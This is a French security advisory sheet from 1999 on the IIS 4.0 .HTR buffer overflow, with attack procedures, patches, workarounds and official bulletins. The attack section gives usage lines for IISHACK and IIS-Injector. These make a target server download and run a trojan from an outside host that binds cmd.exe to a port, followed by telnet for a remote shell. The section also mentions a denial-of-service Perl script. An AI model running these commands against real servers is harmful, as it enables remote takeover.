Clicky

Exécution de code avec un buffer overflow sur les fichiers .HTR



Gravité de la vulnérabilité : 4 (aide)
Niveau de compétence nécessaire à l'attaquant : initié (aide)
Sensibilité de la vulnérabilité : confidentiel client (aide)
Confiance en cette vulnérabilité : sûr et testé (aide)
Provenance de l'attaque : internet (aide)
Cause de la vulnérabilité : implémentation (aide)
Popularité de la vulnérabilité : public (aide)
Référence(s) croisée(s) :
- BUGTRAQ-0307 (aide)
Catégorie(s) : (aide)
 - buffer overflow (débordement de mémoire tampon)
 - installation par défaut
Conséquence(s) de l'attaque : (aide)
 - exécution de programme
Composant(s) vulnérable(s) :
 - IIS 4.0

oPrésentation Généraleo

Synthèse :
 Par un "buffer overflow", il est possible de faire exécuter du code à distance sur un serveur Microsoft Internet Information Server 4.0 (IIS).
Description technique :
 Les utilisateurs de Windows NT peuvent changer leur mot de passe en utilisant le serveur web IIS.
 En effet, il leur suffit d'utiliser les formulaires situés dans le répertoire /iisadmpwd/ du serveur.
 Cette fonctionnalité est implémentée dans un ensemble de fichiers ayant l'extension ".HTR" qui sont gérés par le filtre ISAPI : ISM.DLL.
 
 La vulnérabilité concerne une non-vérification du buffer d'entrée dans ISM.DLL.
 Ainsi, en passant une longue URL à ISM.DLL, un "buffer overflow" apparaît.
 
 Par exemple, en envoyant un nom de fichier ".HTR" très long (environ 3000 caractères), IIS se bloque.
 Ceci peut permettre de provoquer un déni de service. Pour rétablir, il n'est pas nécessaire de rebooter le serveur Windows NT, mais il faut relancer IIS.
 
 Si le nom de fichier ".HTR" très long contient du code exécutable, il est possible d'exécuter ce code sur le serveur IIS.
Date d'apparition la vulnérabilité : 15/06/1999 (aide)
Avis d'expert :
 Le filtre ISAPI .HTR/ISM.DLL est installé par défaut sur les serveurs IIS 4.
 Beaucoup de serveurs sont donc vulnérables à cette attaque.
Informations provenant du Web :
 eEye Advisory (anglais) (sauvegarde en local datant du 16/06/1999)
 eEye - Press Relations (anglais) (sauvegarde en local datant du 16/06/1999)
 IIS HTR hole allows attackers to execute arbitrary code (anglais) (sauvegarde en local datant du 17/06/1999)
Informations provenant des newsgroups et mailing-list :
 Re: ALERT - Really bad IIS4.0 security flaw (Andrew Bastien - 15/06/1999 - winnt-l@peach.ease.lsoft.com)
 Update to IIS hole. (Marc - 16/06/1999 - bugtraq@netspace.org)
 Re: IIS Remote Exploit (injection code) (Ethan Benatan - 16/06/1999 - bugtraq@netspace.org)
 Re: IIS Remote Exploit (injection code) (Dug Song - 16/06/1999 - bugtraq@netspace.org)
 Diversity (was: IIS Remote Exploit (injection code)) (Crispin Cowan - 16/06/1999 - bugtraq@netspace.org)
 Diversity (was: IIS Remote Exploit (injection code)) (Alain Thivillon - 16/06/1999 - fr.comp.securite)
 Liste NT de l'OSSIR (Denis Ducamp - 16/06/1999 - nt-securite@ossir.org)
 Diversity (was: IIS Remote Exploit (injection code)) (Pierre Vandevenne - 17/06/1999 - fr.comp.securite)

oMise en oeuvre de l'attaqueo

Programme IISHACK par eEye

Niveau de compétence nécessaire : initié (aide)
Description technique :
 Le programme fourni permet de provoquer le "buffer overflow", de télécharger et d'exécuter un cheval de Troie depuis un serveur Web.
 Le cheval de Troie utilisé est ncx.exe. Il lie le port 80 au programme cmd.exe.
 (l'exécutable ncx99.exe écoute le port 99 au lieu du port 80).
 
 Le code source de l'exploit est fourni dans le fichier iishack.asm (ou tesoiis.c pour la version Unix).
 
 Pour attaquer le serveur "ServeuràAttaquer.com" sur le port 80 et que celui-ci télécharge le programme ncx.exe depuis NotreServeur.com :
 iishack ServeuràAttaquer.com 80 NotreServeur.com/ncx.exe
 (ou pour la version Unix : ./tesoiis ServeuràAttaquer.com 80 NotreServeur.com/ncx.exe)
 
 Le serveur IIS est alors bloqué et le programme ncx.exe est téléchargé et exécuté.
 
 Il suffit ensuite de faire un telnet sur le port 80 : (ou 99 avec ncx99.exe)
 telnet ServeuràAttaquer.com 80
 Et on a alors accès à tout le système.
Procédure essayée : oui
Commentaire sur l'essai :
 Sur certains serveurs web, il est seulement possible de mener un déni de service
Commentaire général :
 Une version Unix est disponible dans le répertoire correspondant
Informations provenant du Web :
 eEye Advisory - Exploit (anglais) (sauvegarde en local datant du 16/06/1999)
Informations provenant des newsgroups et mailing-list :
 iis4 remote exploit ported (typo - 16/06/1999 - bugtraq@netspace.org)
Répertoires locaux :
 Cheval de Troie NCX
 Répertoire source de IIS-Hack

IIS-Injector

Niveau de compétence nécessaire : initié (aide)
Configuration requise :
 Windows NT
Description technique :
 - Compiler le programme (à l'aide de Visual C++, par exemple).
 - Ouvrir une fenêtre DOS
 - Taper :
 IIS-Injector AdresseIPduServeuràAttaquer 80 ChevalDeTroie
 
 Le fonctionnement est le même que IISHACK
Procédure essayée : non
Informations provenant des newsgroups et mailing-list :
 IIS Remote Exploit (injection code) (Greg Hoglund - 16/06/1999 - bugtraq@netspace.org)
Répertoires locaux :
 Cheval de Troie NCX
 Répertoire source de IIS-Injector

Programme en Perl

Niveau de compétence nécessaire : initié (aide)
Moyens logiciels :
 Perl 5
Description technique :
 Ce script provoque un déni de service sur IIS.
 
 L'exécuter :
 ./exploit.pl AdresseIPdeLaMachineAattaquer
Procédure essayée : non
Informations provenant du Web :
 RootShell (anglais) (sauvegarde en local datant du 16/06/1999)
Répertoires locaux :
 Exploit en PERL

oInstallation d'une paradeo

Désactivation des fichiers HTR

Niveau de compétence nécessaire : initié (aide)
Description technique :
 Si le service n'a pas besoin des fichiers HTR, il est possible de les désactiver.
 
  - Démarrer "Gestionnaire des services internet".
  - Double-cliquer sur "Internet Information Server"
  - Bouton droit sur le nom de la machine et sélectionner "Propriétés"
  - Sélectionner "Service WWW" et cliquer sur "Modifier"
  - Cliquer sur "Répertoire de base", et sur "Configuration"
  - Sélectionner la ligne qui contient " ".HTR"" et cliquer sur "Supprimer"
  - Valider
Procédure essayée : oui

Patch de MICROSOFT

Niveau de compétence nécessaire : initié (aide)
Description technique :
 Un patch de Microsoft est disponible.
 
 Taper dans une fenêtre DOS :
    - extfixi pour une machine intel ou
    - extfixa pour une machine alpha.
Procédure essayée : non
Commentaire général :
 Pour l'instant, seule la version américaine du patch est disponible
Informations provenant du Web :
 Patch de Microsoft pour IIS (anglais) (sauvegarde en local datant du 18/06/1999)
Informations provenant des newsgroups et mailing-list :
 Alert: Microsoft Security Bulletin (MS99-019) - IIS Fix Available (Russ Cooper - 18/06/1999 - ntbugtraq@listserv.ntbugtraq.com)

Patch de eEye

Niveau de compétence nécessaire : initié (aide)
Description technique :
 Ce patch permet de limiter les requêtes .htr à 255 caractères.
 Ainsi, il n'y a plus de "buffer overflow".
 
 L'adresse IP de la personne qui a essayé de provoquer la vulnérabilité est logguée dans les fichiers logs de l'application.
 
 Instructions:
 - Dézipper dans un répertoire temporaire le contenu du fichier ogle.zip.
 - Double-cliquer sur le fichier ".reg"
 - Lancer le "Gestionnaire des services internet"
 et sélectionner le serveur à protéger.
 - Cliquer sur le filtre ISAPI.
 - Cliquer sur Ajouter et entrer OGLE comme nom et parcourir le fichier ogle.dll.
 - Cliquer sur Ok
 - Confirmer
Procédure essayée : non
Informations provenant du Web :
 eEye Advisory - Patch (anglais) (sauvegarde en local datant du 18/06/1999)
Répertoires locaux :
 Patch de eEye

Patch en VB

Niveau de compétence nécessaire : initié (aide)
Moyens matériels :
 Visual Basic 5 SP3
Description technique :
 Un petit programme en VB permet de mettre à jour automatiquement IIS en enlevant le mappage ISM.DLL.
 Cela permet de mettre à jour plusieurs serveurs IIS.
 
 - Compiler le programme avec Visual Basic 5
 - L'exécuter
Procédure essayée : non
Informations provenant des newsgroups et mailing-list :
 Re: Update to IIS Remote Hole. (Russ - 16/06/1999 - ntbugtraq@listserv.ntbugtraq.com)
 RE: [NTSEC] CRITICAL! Buffer overflow that affects 90% of IIS4.0 machines (Nelson Bunker - 16/06/1999 - ntbugtraq@listserv.ntbugtraq.com)
Répertoires locaux :
 Patch en VB

oAnnonces officielles (aide)o

Référence de l'annonce : J-048
Organisme : CIAC
Date de l'annonce : 15/06/1999
Sujet : Malformed HTR Request Vulnerability
Informations provenant du Web :
 Annonce J-048 (anglais) (sauvegarde en local datant du 17/06/1999)
Référence de l'annonce : MS1999-019
Organisme : Microsoft
Date de l'annonce : 15/06/1999
Sujet : Workaround Available for "Malformed HTR Request" Vulnerability
Informations provenant du Web :
 Annonce MS99-019 (anglais) (sauvegarde en local datant du 18/06/1999)
Référence de l'annonce : CA1999-07
Organisme : CERT
Date de l'annonce : 16/06/1999
Sujet : IIS Buffer Overflow
Informations provenant du Web :
 Annonce CA99-07 (anglais) (sauvegarde en local datant du 17/06/1999)

oSuivi de la ficheo

Version : 1.00
Rédaction : 16/06/1999
Contrôle : 16/06/1999
Modifications :
 Création de la fiche
Version :1.01
Rédaction : 17/06/1999
Contrôle : 17/06/1999
Modifications :
 Ajout des annonces CERT et CIAC.
 Ajout de 8 messages de news généraux et de 4 message de news concernant la mise en oeuvre avec en particulier 3 sources différents.
Version : 1.02
Rédaction : 18/06/1999
Contrôle : 18/06/1999
Modifications :
 Restructuration des procédures d'attaques
 Mise à jour de l'annonce de Microsoft
 Ajout des procédures d'installation de parades
Version : 1.03
Rédaction : 21/06/1999
Contrôle : 21/06/1999
Modifications :
 Mise à jour de l'annonce de Microsoft
 Mise à jour des patchs de Microsoft
 Ajout du message de Russ Cooper concernant les patchs de Microsoft

Ce document est accessible à l'adresse : http://vigilance.aql.fr/public/exemple/exemple.phtml

Copyright © 1999-2003 Alliance Qualité Logiciel. Vigil@nce est une marque d'Alliance Qualité Logiciel. Tous droits réservés.

Sur le même sujet

Ailleurs sur le site